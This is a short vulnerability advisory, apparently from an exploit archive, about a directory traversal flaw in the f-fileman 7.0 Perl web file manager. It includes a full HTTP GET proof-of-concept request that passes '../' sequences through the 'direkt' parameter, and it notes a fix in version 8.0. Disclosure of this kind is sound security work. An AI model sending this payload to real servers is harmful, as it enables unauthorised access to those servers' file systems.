f-fileman 7.0 Directory Traversal Vulnerability

Tested Versions:
ffileman 7.0
 
Software Link:
http://sourceforge.net/projects/f-fileman/
 
Tested on:
Unix
 
Category:
Directory Traversal
 
Severity:
Medium
 
 
Description:
 
Directory traversal vulnerabilities has been found in ffileman 7.0 a web
based file and directory manager written with Perl.
 
The vulnerability can be exploited to access local files by entering
special characters in variables used to create file paths. The attackers
use “../” sequences to move up to root directory, thus permitting
navigation through the file system.
 
The issue discovered can only be exploited with an authenticated session
and setting the variable "direkt" like below with a HTTP GET or POST
request.
 
 
Request:
 
GET http://[webserver IP]/cgi-bin/ffileman.cgi?direkt=../../../../../../../../&kullanici=[username]&sifre=[password]&dizin_git=Vai%20alla%20Directory HTTP/1.1
Host: [webserver IP]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://[webserver IP]/cgi-bin/ffileman.cgi?direkt=[original path]&kullanici=[username]&sifre=[password]&dizin_git=Vai%20alla%20Directory
 
 
Disclosure:
2009-07-17 Fixed with version 8.0



#  0day.today [2018-01-02]  #